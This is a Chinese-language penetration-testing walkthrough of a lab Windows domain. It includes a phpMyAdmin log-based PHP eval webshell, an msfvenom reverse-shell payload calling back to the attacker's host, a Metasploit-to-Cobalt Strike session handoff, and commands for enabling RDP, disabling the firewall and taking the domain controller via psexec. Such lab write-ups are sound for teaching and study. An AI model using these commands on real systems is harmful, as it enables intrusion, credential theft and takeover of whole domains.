环境搭建(靶机环境)
搭建靶机环境是(要求这几个内网互ping要通)
一台链接外网的域成员网站机 win 7+phpstudy
一台域控主服务器 win server 08
一台域控成员 server 03
win 7 有两个网卡(win7中的phpstudy也得开启)
一个仅主机(必须和其他两个域控都选择第一个网卡为仅主机)
一个桥接(链接外网)
win serve08 (域控)
win serve03
注意:这个内网网卡一定要保持一至,放到第一个位置
一、前渗透的阶段
首先信息收集
nmap -n --open -p 80 192.168.0.0/24 |grep Nmap |awk -F ‘for’ ‘{print$2}’
发现开放端口有80和3306
然后我们访问这个地址:80
发现是一个php探针,咱们把他的敏感信息收集起来
比如说网站根目录,开启的什么敏感文件
然后我们往下边翻的时候,发现有一个登录框
我们弱口令试一下
发现成功登录
咱们再目录爆破一下(dirb)
dirb http://192.168.0.141
寻找有没有phpmyadmin后台
发现一个phpmyadmin的后台
我们访问一下
用刚才的弱口令登录上
getshell
登录上之后我们再利用写入木马(日志),在进行获取低权限shell
1.首先尝试outfile进行写入文件
发现这个配置文件没开启,所以只能用第二种方法
2.利用日志写入一句话木马
开启mysql日志功能:
show global variables like '%general%'
set global general_log='ON'
发现成功开启
之后
将日志文件的存放位置修改为当前网站的根目录:(根目录是刚才php探针保存的)
set global general_log_file = 'C:/phpStudy/WWW/zxc.php'
写入一句话
SELECT '<?php @eval($_POST["chaosec"]); ?>'
发现成功执行
我们访问一下
我们的木马
用血色菜刀进行连接
发现成功执行
上菜刀
发现成功进入
尝试内网信息收集
之后我们在进行信息收集,为我们后渗透做准备
1.whoami
当前域名为god,登录用户是admin:
2.拿到shell之后再查看一下网卡
ipconfig
发现是有两个网卡
一个是192.168.52.0(内网)
一个是192.168.0.0(外网)
3.查看当前登录域及登录用户信息:
net config Workstation
发现在工作站有三个工作主机,就是算上我们打的靶机,然后就是剩下还有两台
4.查看域成员:
net view /domain:god
二、后渗透阶段
(一)msf和cs联动
首先看一下我们攻击的kali的地址
1.首先在msf生成一个payload到win7上并且执行该文件,得到msf的session(会话)
(也可以在cs中进行生成payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.130 LPORT=6666 -f exe -o chaosec.exe
地址是kali的,端口是监听的端口
参数解释:
-p 生成一个payload
-f 生成的文件类型(exe/txt/py等)
-o 输出到文件
再将这个文件给权限
chmod 777 chaosec.exe
发现生成成功,将这个.exe文件拉取出来,上传到win7靶机
发现上传成功
2.在msf上进行接受这个反弹shell(监听)
use exploit/multi/handler //首先进入这个模块
/*set payload windows/x64/meterpreter_reverse_tcp*/ //设置payload模块
set payload windows/meterpreter/reverse_tcp //(上一个payload有问题,我们用这个)
set lhost 192.168.0.130 //设置kali的地址
set lport 6666 //设置监听的端口
然后在win7中执行刚才生成payload
同时在msf中监听
run
exploit -j(后台)允许
3.开启远程桌面
run getgui -e (简单的方法)
run post/windows/manage/enable_rdp(复杂的方法)
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f //在webshell中开启
发现成功开启
我们连接一下试试
发现成功了
4.让他在cs上面反弹(基于步骤2的会话中)
background(退出)
首先在cs中开启CS
然后在windows中连接
发现连接成功
然后再进行
创建一个监听
然后再从msf操作设置payload进行反弹
首先退出上一个会话
background
然后进入另一个模块
use exploit/windows/local/payload_inject
进入之后设置payload
set payload windows/meterpreter/reverse_http //设置http的payload
set DisablePayloadHandler true //payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.0.130 //公网的ip(搭建CS那个主机ip)
set lport 7777 //监听的端口
set session 1 //设置会话id
在CS中查看,发现弹回来了
内网信息收集
然后我们再在cs中进行一些操作(后续操作)
sleep 0 //将执行的回显设置成0秒
shell whoami //查看当前权限
查看主机名
shell hostname
查看用户列表
shell net users
发现有一个普通用户 liukaifeng01
获取本地管理员(通常包含域用户)信息
net localgroup administrators
使用systeminfo查看系统详细信息
shell systeminfo
发现操作系统的版本
下面的是安装环境,系统目录等一些杂乱的信息
查看修补的补丁
查询进程列表
shell tasklist
获得了本机的相关信息之后,就要判断当前内网中是否存在域
之前在systeminfo中,“域"即为域名,如果"域"为"WORKGROUP”,则表示当前服务器不在域内:
查看域信息:
shell net view //我这个有错误,所以没显示出来
查看当前登录域及登录用户信息
shell net config workstation
"工作站域DNS名称"为域名,如果为WORKGROUP表示当前为非域环境
"登录域"表示当前登录的用户是域用户还是本地用户
继续搜集域内基础信息
查询域
shell net view /domain
查询 GOD域内全部主机:
shell net view /domain:GOD
三、攻击域(内网渗透)
(一)提权
1.首先进行利用漏洞提权
如果提权成功,会发现成功上线一台system权限的主机
可以看到返回的信息内容如下
(二)横向移动
1.首先将防火墙关闭
查看防火墙的状态
shell netsh firewall show state
关闭防火墙的命令
shell netsh advfirewall set allprofiles state off
2.常规信息收集
(1)当前域内计算机列表:
net view
发现成功获取
三台主机信息(三台主机信息前提是提权到system权限)
点击目标进行列出
发现已经成功列出
等一会我们再结合3步骤获取的明文密码可以让整个win7域用户进行上线
(2)域控列表:
net dclist
查看用户列表
net user
3.抓取凭证hash
首先抓取dumphash的hex密码
获取明文
获取凭证信息
由于环境问题我们实验没成功
可能是因为我们进行创建后门
攻击域控
1.首先创建一个smb监听器
结合上面文档我们再进行做一遍
发现创建成功
2.横向psexec拿下域控
用户名密码选择带域控的
监听器选择smb
会话选择以上我们做的任意一个
我们点击开始,发现成上线域控
由于我们做了两遍,所以他上线的比较多
3.拿下域成员
同样的方法
这次会话选择我们后上线的域控
发现全部上线成功
这个域已经全部沦陷